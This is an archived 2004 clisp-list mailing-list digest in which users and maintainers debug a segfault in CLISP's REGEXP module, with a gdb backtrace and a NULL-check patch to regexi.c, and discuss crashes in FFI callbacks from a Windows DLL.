dbueno@stygian.net Mon Jun 07 11:28:32 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BXOrI-0002Ta-8w for clisp-list@lists.sourceforge.net; Mon, 07 Jun 2004 11:28:32 -0700 Received: from hellmouth3.gatech.edu ([130.207.165.163] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1BXOrH-0006Q2-PG for clisp-list@lists.sourceforge.net; Mon, 07 Jun 2004 11:28:31 -0700 Received: from hellmouth3.gatech.edu (localhost [127.0.0.1]) by hellmouth3.gatech.edu (Postfix) with SMTP id 78DB1220FC1 for ; Mon, 7 Jun 2004 14:24:55 -0400 (EDT) (envelope-from dbueno@stygian.net) Received: from mailprx1.gatech.edu (mailprx1.prism.gatech.edu [130.207.171.15]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "smtp.mail.gatech.edu", Issuer "RSA Data Security? Inc." (verified OK)) by hellmouth3.gatech.edu (Postfix) with ESMTP id 63058220ECF for ; Mon, 7 Jun 2004 14:24:49 -0400 (EDT) (envelope-from dbueno@stygian.net) Received: from [192.168.10.252] (chinook.stl.gtri.gatech.edu [130.207.197.81]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) (sasl: method=PLAIN, username=gtg385h, sender=n/a) by mailprx1.gatech.edu (Postfix) with ESMTP id 2F8AA3A601 for ; Mon, 7 Jun 2004 14:24:49 -0400 (EDT) (envelope-from dbueno@stygian.net) Mime-Version: 1.0 (Apple Message framework v618) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Denis Bueno X-Mailer: Apple Mail (2.618) X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.9 WEIRD_PORT URI: Uses non-standard port number for HTTP Subject: [clisp-list] CLISP 2.33.2 segmentation fault Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 7 11:29:04 2004 X-Original-Date: Mon, 7 Jun 2004 14:24:49 -0400 I've been working with CLISP for a year or so now, and have very much enjoyed it. Just recently I have had a use for the REGEXP module, and so I compiled it into CLISP. However, the first expression I tried to evaluate segfaulted. Following are the details. I work on a PPC Powerbook G4, 640 MB RAM. I ran clisp -K full, and evaluated [1]> (regexp:match "." "aoeu") Segmentation fault I built CLISP (as per the FAQ) with ./configure --prefix=/sw --with-module=regexp --with-debug --build build-g, but, when I ran ./build-g/clisp through gdb, and typed "run", I got a SIGTRAP: [Taggart.local ~/Download/clisp-2.33.2] gdb ./build-g/clisp GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec 4 15:41:30 GMT 2003) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "powerpc-apple-darwin". Reading symbols for shared libraries ...... done (gdb) run Starting program: /Users/Shared/Download/clisp-2.33.2/build-g/clisp Reading symbols for shared libraries +. done Program received signal SIGTRAP, Trace/breakpoint trap. 0x8fe1a4f4 in __dyld__dyld_start () (gdb) Maybe I just don't know how to use gdb (I have only used it once or twice). Below is the output of all the relevant info I can think of. * Commands to build CLISP: ./configure --prefix=/sw --with-module=regexp I chose that prefix because I use Fink. * uname -a: Darwin Taggart.local 7.4.0 Darwin Kernel Version 7.4.0: Wed May 12 16:58:24 PDT 2004; root:xnu/xnu-517.7.7.obj~7/RELEASE_PPC Power Macintosh powerpc * gcc --version: gcc (GCC) 3.3 20030304 (Apple Computer, Inc. build 1640) Copyright (C) 2002 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * clisp -K full --version: GNU CLISP 2.33.2 (2004-06-02) (built 3295613759) (memory 3295614633) Software: GNU C 3.3 20030304 (Apple Computer, Inc. build 1640) ANSI C program Features: (REGEXP CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX) Installation directory: /sw/lib/clisp/ User language: ENGLISH Machine: POWER MACINTOSH (POWER MACINTOSH) taggart.local [192.168.10.252] * Crash report from OS X: Date/Time: 2004-06-07 12:31:54 -0400 OS Version: 10.3.4 (Build 7H63) Report Version: 2 Command: lisp.run Path: /sw/lib/clisp/full/lisp.run Version: ??? (???) PID: 18613 Thread: 0 Exception: EXC_BAD_ACCESS (0x0001) Codes: KERN_INVALID_ADDRESS (0x0001) at 0x77ffd770 Thread 0 Crashed: 0 lisp.run 0x00002c04 C_subr_regexp_regexp_exec + 0x2b4 (crt.c:300) 1 lisp.run 0x0001c280 funcall_subr + 0x904 (crt.c:300) 2 lisp.run 0x0001f2fc interpret_bytecode_ + 0x25ac (crt.c:300) 3 lisp.run 0x00018b30 eval_closure + 0x1038 (crt.c:300) 4 lisp.run 0x00015dfc eval + 0x198 (crt.c:300) 5 lisp.run 0x0001616c eval1 + 0x180 (crt.c:300) 6 lisp.run 0x00015dfc eval + 0x198 (crt.c:300) 7 lisp.run 0x000b1258 C_read_eval_print + 0xac (crt.c:300) 8 lisp.run 0x0001c280 funcall_subr + 0x904 (crt.c:300) 9 lisp.run 0x0001f5d8 interpret_bytecode_ + 0x2888 (crt.c:300) 10 lisp.run 0x0001ccb4 funcall_closure + 0x9e8 (crt.c:300) 11 lisp.run 0x0002ad70 C_driver + 0x98 (crt.c:300) 12 lisp.run 0x0001f718 interpret_bytecode_ + 0x29c8 (crt.c:300) 13 lisp.run 0x0001ccb4 funcall_closure + 0x9e8 (crt.c:300) 14 lisp.run 0x0001fe88 interpret_bytecode_ + 0x3138 (crt.c:300) 15 lisp.run 0x0001ccb4 funcall_closure + 0x9e8 (crt.c:300) 16 lisp.run 0x000b151c driver + 0x94 (crt.c:300) 17 lisp.run 0x0000e904 main + 0x1ef8 (crt.c:300) 18 lisp.run 0x00001fd0 _start + 0x188 (crt.c:267) 19 dyld 0x8fe1a558 _dyld_start + 0x64 PPC Thread State: srr0: 0x00002c04 srr1: 0x0000f030 vrsave: 0x00000000 cr: 0x24000442 xer: 0x20000004 lr: 0x00002ae0 ctr: 0x00002950 r0: 0xbfffd820 r1: 0xbfffd790 r2: 0xb7ffffe0 r3: 0x19f5ef45 r4: 0x00000001 r5: 0x001b50ac r6: 0x001b50ac r7: 0x00000000 r8: 0x00000007 r9: 0x19f5ef45 r10: 0x00000000 r11: 0x001b5098 r12: 0x00002950 r13: 0x00000000 r14: 0x00000000 r15: 0x00000000 r16: 0x00000000 r17: 0x00000000 r18: 0x00000000 r19: 0x00000000 r20: 0x00000000 r21: 0x00182958 r22: 0x00000000 r23: 0x00501070 r24: 0x001b505c r25: 0x0017b98c r26: 0x00000008 r27: 0x00000004 r28: 0x19f5eea5 r29: 0x001b5098 r30: 0xbfffd790 r31: 0x00002958 Binary Images Description: 0x1000 - 0x16afff lisp.run /sw/lib/clisp/full/lisp.run 0x208000 - 0x244fff libreadline.4.dylib /sw/lib/libreadline.4.dylib 0x72ece000 - 0x72fa3fff libiconv.2.dylib /sw/lib/libiconv.2.dylib 0x8594b000 - 0x8594ffff libintl.1.dylib /sw/lib/libintl.1.dylib 0x85a0b000 - 0x85a34fff libncurses.5.dylib /sw/lib/libncurses.5.dylib 0x8fe00000 - 0x8fe4ffff dyld /usr/lib/dyld 0x90000000 - 0x90122fff libSystem.B.dylib /usr/lib/libSystem.B.dylib 0x939d0000 - 0x939d4fff libmathCommon.A.dylib /usr/lib/system/libmathCommon.A.dylib Thanks. If you need more info, just ask. -- Denis Bueno PGP: http://pgp.mit.edu:11371/pks/lookup?search=0xA1B51B4B&op=index "Clothes make the man. Naked people have little or no influence on society." - Mark Twain From sds@gnu.org Mon Jun 07 12:31:57 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BXPqe-0000gx-PD for clisp-list@lists.sourceforge.net; Mon, 07 Jun 2004 12:31:56 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BXPqe-0002gv-CU for clisp-list@lists.sourceforge.net; Mon, 07 Jun 2004 12:31:56 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i57JVlWM004419; Mon, 7 Jun 2004 15:31:48 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Denis Bueno Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Denis Bueno's message of "Mon, 7 Jun 2004 14:24:49 -0400") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Denis Bueno Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLISP 2.33.2 segmentation fault Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 7 12:32:16 2004 X-Original-Date: Mon, 07 Jun 2004 15:31:47 -0400 > * Denis Bueno [2004-06-07 14:24:49 -0400]: > > [1]> (regexp:match "." "aoeu") > Segmentation fault Works for me. > I built CLISP (as per the FAQ) with ./configure --prefix=/sw > --with-module=regexp --with-debug --build build-g, but, when I ran > ./build-g/clisp through gdb, and typed "run", I got a SIGTRAP: > > [Taggart.local ~/Download/clisp-2.33.2] gdb ./build-g/clisp that should have been $ cd build-g $ gdb (gdb) full (gdb) run or at least $ gdb ./build-g/full/lisp.run (gdb) run -M ./build-g/full/lispinie.mem Thank you very much for such a thorough bug report! -- Sam Steingold (http://www.podval.org/~sds) running w2k All generalizations are wrong. Including this. From ampy@ich.dvo.ru Mon Jun 07 16:22:45 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BXTS1-0002x1-Im for clisp-list@lists.sourceforge.net; Mon, 07 Jun 2004 16:22:45 -0700 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BXTRx-0000iZ-KT for clisp-list@lists.sourceforge.net; Mon, 07 Jun 2004 16:22:41 -0700 Received: from lenin (host-207-222.hosts.vtc.ru [212.16.207.222]) by vtc.ru (8.12.11/8.12.11) with ESMTP id i57NMSaM000564; Tue, 8 Jun 2004 10:22:29 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <604163234.20040608102229@ich.dvo.ru> To: "Andreas Thiele" CC: clisp-list@lists.sourceforge.net Subject: Re: AW: [clisp-list] Debugging clisp FFI calls into a newly created (c++) DLL In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 7 16:23:03 2004 X-Original-Date: Tue, 8 Jun 2004 10:22:29 +1100 Hi, Andreas, > access violation occurs when loading defs1.lisp. Thus I could narrow > the problematic range. I'm sure I will isolate the problem > and continue reporting ... You can now try to build debug version with MSVC (using the sources in CVS). -- Best regards, Arseny From dbueno@stygian.net Mon Jun 07 18:14:17 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BXVBx-0007V1-MX for clisp-list@lists.sourceforge.net; Mon, 07 Jun 2004 18:14:17 -0700 Received: from rwcrmhc13.comcast.net ([204.127.198.39]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BXVBx-0005Ei-3C for clisp-list@lists.sourceforge.net; Mon, 07 Jun 2004 18:14:17 -0700 Received: from [192.168.2.50] (c-24-98-150-88.atl.client2.attbi.com[24.98.150.88]) by comcast.net (rwcrmhc13) with SMTP id <2004060801140801500mooste>; Tue, 8 Jun 2004 01:14:08 +0000 Mime-Version: 1.0 (Apple Message framework v618) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <23B23D70-B8E9-11D8-A95F-000393D3BA14@stygian.net> Content-Transfer-Encoding: 7bit From: Denis Bueno To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.618) X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.9 WEIRD_PORT URI: Uses non-standard port number for HTTP Subject: [clisp-list] Re: CLISP 2.33.2 segmentation fault Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 7 18:15:02 2004 X-Original-Date: Mon, 7 Jun 2004 21:14:07 -0400 Here's the gdb backtrace: [Taggart.local ~/Download/clisp-2.33.2/build-g] gdb GNU gdb 5.3-20030128 (Apple version gdb-309) (Thu Dec 4 15:41:30 GMT 2003) Copyright 2003 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "powerpc-apple-darwin". Reading symbols for shared libraries ...... done Breakpoint 1 at 0x3432c: file eval.d, line 4802. Breakpoint 2 at 0x2f8f0: file eval.d, line 3903. Breakpoint 3 at 0x290bc: file eval.d, line 2790. Breakpoint 4 at 0x378bc: file eval.d, line 5757. Breakpoint 5 at 0x9128: file spvw_garcol.c, line 2683. Hardware watchpoint 6: back_trace Breakpoint 7 at 0xd730: file spvw.d, line 644. Breakpoint 8 at 0x485c: file spvw.d, line 488. Breakpoint 9 at 0x4940: file spvw.d, line 499. Num Type Disp Enb Address What 1 breakpoint keep n 0x0003432c in funcall at eval.d:4802 xout fun 2 breakpoint keep n 0x0002f8f0 in apply at eval.d:3903 xout fun 3 breakpoint keep n 0x000290bc in eval at eval.d:2790 xout form 4 breakpoint keep n 0x000378bc in interpret_bytecode_ at eval.d:5757 xout closure 5 breakpoint keep n 0x00009128 in gar_col at spvw_garcol.c:2683 6 hw watchpoint keep n back_trace zbacktrace continue 7 breakpoint keep y 0x0000d730 in fehler_notreached at spvw.d:644 8 breakpoint keep y 0x0000485c in SP_ueber at spvw.d:488 9 breakpoint keep y 0x00004940 in STACK_ueber at spvw.d:499 Function "sigsegv_handler_failed" not defined. .gdbinit:145: Error in sourced command file: No symbol "byteptr" in current context. (gdb) full Function "my_type_error" not defined. Function "closed_display_error" not defined. (gdb) run Starting program: /Users/Shared/Download/clisp-2.33.2/build-g/full/lisp.run -B . -M full/lispinit.mem -q -norc -i clx/new-clx/demos/clx-demos -p CLX-DEMOS Reading symbols for shared libraries +. done STACK depth: 16367 ;; Loading file /Users/Shared/Download/clisp-2.33.2/build-g/clx/new-clx/demos/clx- demos.lisp ... *** - FIND-SYMBOL: There is no package with name "XLIB" The following restarts are available: USE-VALUE :R1 You may input a value to be used instead. Break 1 [2]> :a [1]> (regexp:match "." "aoeu") Program received signal EXC_BAD_ACCESS, Could not access memory. 0x000035f4 in C_subr_regexp_regexp_exec () at regexi.c:96 96 ret = (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t)); (gdb) bt #0 0x000035f4 in C_subr_regexp_regexp_exec () at regexi.c:96 #1 0x00037a00 in funcall_subr (fun={one_o = 2498810}, args_on_stack=8) at eval.d:5201 #2 0x00036268 in funcall (fun={one_o = 445571049}, args_on_stack=10) at eval.d:4810 #3 0x0003ddfc in interpret_bytecode_ (closure={one_o = 445575221}, codeptr=0x1a8eef8c, byteptr=0x1a8ef016 "\031\f?\e???\e???\e???\e???\eC?\eE?\eG?\eI\032?\2204") at eval.d:6841 #4 0x00030bf0 in eval_closure (closure={one_o = 445575221}) at eval.d:3750 #5 0x0002b8d0 in eval1 (form={one_o = 1721543067}) at eval.d:2931 #6 0x0002b1fc in eval (form={one_o = 1721543067}) at eval.d:2810 #7 0x0002b774 in eval1 (form={one_o = 1721543067}) at eval.d:2899 #8 0x0002b1fc in eval (form={one_o = 1721543123}) at eval.d:2810 #9 0x0015d594 in C_read_eval_print () at debug.d:311 #10 0x00037a00 in funcall_subr (fun={one_o = 2504018}, args_on_stack=2) at eval.d:5201 #11 0x00036268 in funcall (fun={one_o = 2533441}, args_on_stack=2) at eval.d:4810 #12 0x0003e314 in interpret_bytecode_ (closure={one_o = 445661401}, codeptr=0x1a8bae64, byteptr=0x1a8bae8a "\037\ak\a\211\b\005.\tQ\031\001?\017\v") at eval.d:6856 #13 0x00039560 in funcall_closure (closure={one_o = 445661401}, args_on_stack=0) at eval.d:5641 #14 0x00036210 in funcall (fun={one_o = 445661401}, args_on_stack=0) at eval.d:4805 #15 0x00054cb0 in C_driver () at control.d:1943 #16 0x0003e538 in interpret_bytecode_ (closure={one_o = 445361889}, codeptr=0x1a8bae14, byteptr=0x1a8bae32 "\031\001\032?N4") at eval.d:6862 #17 0x00039560 in funcall_closure (closure={one_o = 445361889}, args_on_stack=0) at eval.d:5641 #18 0x00036210 in funcall (fun={one_o = 445361889}, args_on_stack=0) at eval.d:4805 #19 0x0003f630 in interpret_bytecode_ (closure={one_o = 445579677}, codeptr=0x1a83f780, byteptr=0x1a83f7c2 "\031\001\032\235\227?") at eval.d:6912 #20 0x00039560 in funcall_closure (closure={one_o = 445579677}, args_on_stack=0) at eval.d:5641 #21 0x00036210 in funcall (fun={one_o = 445579677}, args_on_stack=0) at eval.d:4805 #22 0x0015dbe8 in driver () at debug.d:380 #23 0x000205d4 in reset (count=4407836) at eval.d:513 #24 0x00042be8 in interpret_bytecode_ (closure={one_o = 444692129}, codeptr=0x1a81715c, byteptr=0x1a8172ef "\021\030\001") at eval.d:7438 #25 0x000392e4 in funcall_closure (closure={one_o = 444692129}, args_on_stack=1) at eval.d:5622 #26 0x000362a4 in funcall (fun={one_o = 2533469}, args_on_stack=1) at eval.d:4812 #27 0x0001aa98 in main (argc=11, argv=0xbffffba8) at spvw.d:2861 (gdb) I don't exactly know what to do about the XLIB package error.... > that should have been > $ cd build-g > $ gdb > (gdb) full > (gdb) run > > or at least > > $ gdb ./build-g/full/lisp.run > (gdb) run -M ./build-g/full/lispinie.mem > > Thank you very much for such a thorough bug report! > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > > All generalizations are wrong. Including this. > > > ------------------------------------------------------- > This SF.Net email is sponsored by: GNOME Foundation > Hackers Unite! GUADEC: The world's #1 Open Source Desktop Event. > GNOME Users and Developers European Conference, 28-30th June in Norway > http://2004/guadec.org > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > > -- Denis Bueno PGP: http://pgp.mit.edu:11371/pks/lookup?search=0xA1B51B4B&op=index "Be careful about reading health books. You may die of a misprint." - Mark Twain From ampy@ich.dvo.ru Mon Jun 07 20:06:59 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BXWwv-0001nK-3c for clisp-list@lists.sourceforge.net; Mon, 07 Jun 2004 20:06:53 -0700 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BXWwu-0003Xu-6Y for clisp-list@lists.sourceforge.net; Mon, 07 Jun 2004 20:06:52 -0700 Received: from lenin (host-216-19.hosts.vtc.ru [212.16.216.19]) by vtc.ru (8.12.11/8.12.11) with ESMTP id i5836b0P027202; Tue, 8 Jun 2004 14:06:38 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <16214004375.20040608130630@ich.dvo.ru> To: "Andreas Thiele" CC: clisp-list@lists.sourceforge.net Subject: Re: AW: AW: [clisp-list] Debugging clisp FFI calls into a newly created (c++) DLL In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jun 7 20:21:29 2004 X-Original-Date: Tue, 8 Jun 2004 13:06:30 +1100 > Do you know where I can find this thing, or what is the easiest > way to accomplish the callback? See the Example 30.10 in impnotes. You do not need def-call-in. (If I understand you correctly). -- Best regards, Arseny From andreas.thiele@technologiekontor.de Tue Jun 08 03:00:56 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BXdPb-0006Bh-HP for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 03:00:55 -0700 Received: from natnoddy.rzone.de ([81.169.145.166]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BXdPb-00040m-0e for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 03:00:55 -0700 Received: from atpws02 (pD95D4A7C.dip.t-dialin.net [217.93.74.124]) by post.webmailer.de (8.12.10/8.12.10) with SMTP id i58A0iM2007989; Tue, 8 Jun 2004 12:00:44 +0200 (MEST) From: "Andreas Thiele" To: "Arseny Slobodjuck" Cc: Subject: AW: AW: AW: [clisp-list] Debugging clisp FFI calls into a newly created (c++) DLL Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <16214004375.20040608130630@ich.dvo.ru> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 8 03:01:25 2004 X-Original-Date: Tue, 8 Jun 2004 12:00:44 +0200 >... See the Example 30.10 in impnotes. You do not need def-call-in. >(If I understand you correctly). Thanks for the hint. Actually this is what I am doing. I think you are right, this is a simple and correct way. It seems, this automatically installs begin_callback and end_callback and passes a trompoline referrence. (Meanwhile I wondered about http://sourceforge.net/mailarchive/message.php?msg_id=2434253 and thought I had to use begin/end_callback) I call my callback function from within a dll in the windows message loop, so lisp can see the messages. This seems to work fine if the code is small. The thing I am nervous about is, I did (print message) or (format t ... anything ...) inside my callback function. This crashes the program from time to time when garbage collection is executed. But not everytime! If (gc) is include it crashed definitely after a few calls. So my question is, what is allowed and what isn't? Why crashes (format t "~a ~a ~a ~a~%" hWnd Message wParaem lParam) clisp totally? (after hundreds of successful calls) I'll try to figure this out by debugging the clisp debug version. If you or anybody has an (easy) answer, I'd be happy to know it. Thanks Andreas From sds@gnu.org Tue Jun 08 07:23:58 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BXhWA-0008MC-0v for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 07:23:58 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BXhW9-0005dT-Cv for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 07:23:57 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i58ENmhT029764; Tue, 8 Jun 2004 10:23:48 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Denis Bueno Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <23B23D70-B8E9-11D8-A95F-000393D3BA14@stygian.net> (Denis Bueno's message of "Mon, 7 Jun 2004 21:14:07 -0400") References: <23B23D70-B8E9-11D8-A95F-000393D3BA14@stygian.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Denis Bueno Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: CLISP 2.33.2 segmentation fault Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jun 8 07:24:14 2004 X-Original-Date: Tue, 08 Jun 2004 10:23:48 -0400 > * Denis Bueno [2004-06-07 21:14:07 -0400]: > > Here's the gdb backtrace: > > [1]> (regexp:match "." "aoeu") > > Program received signal EXC_BAD_ACCESS, Could not access memory. > 0x000035f4 in C_subr_regexp_regexp_exec () at regexi.c:96 > 96 ret = > (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t)); it would be interesting to see the values the some local variables. presumably "re" is NULL. please try the appended patch. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Fighting for peace is like screwing for virginity. --- regexi.c 13 May 2004 22:37:36 -0400 1.19 +++ regexi.c 08 Jun 2004 10:21:48 -0400 @@ -81,7 +81,15 @@ regex_t *re; regmatch_t *ret; skipSTACK(5); /* drop all options */ + while(1) { STACK_1 = check_fpointer(STACK_1,true); + re = (regex_t*)TheFpointer(STACK_1)->fp_pointer; + if (re != NULL) break; + pushSTACK(NIL); /* no PLACE */ + pushSTACK(STACK_(1+1)); pushSTACK(TheSubr(subr_self)->name); + check_value(error,GETTEXT("~S: NULL pattern ~S")); + STACK_1 = value1; + } string = STACK_0; if (end != length || start != 0) { pushSTACK(sfixnum((int)(end-start))); @@ -91,7 +99,6 @@ funcall(L(make_array),7); string = value1; } - re = (regex_t*)TheFpointer(STACK_1)->fp_pointer; begin_system_call(); ret = (regmatch_t*)alloca((re->re_nsub+1)*sizeof(regmatch_t)); end_system_call(); From sds@gnu.org Tue Jun 08 07:30:19 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BXhcJ-0001Sk-EY for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 07:30:19 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BXhcI-0002qU-W3 for clisp-list@lists.sourceforge.net; Tue, 08 Jun 2004 07:30:19 -0700 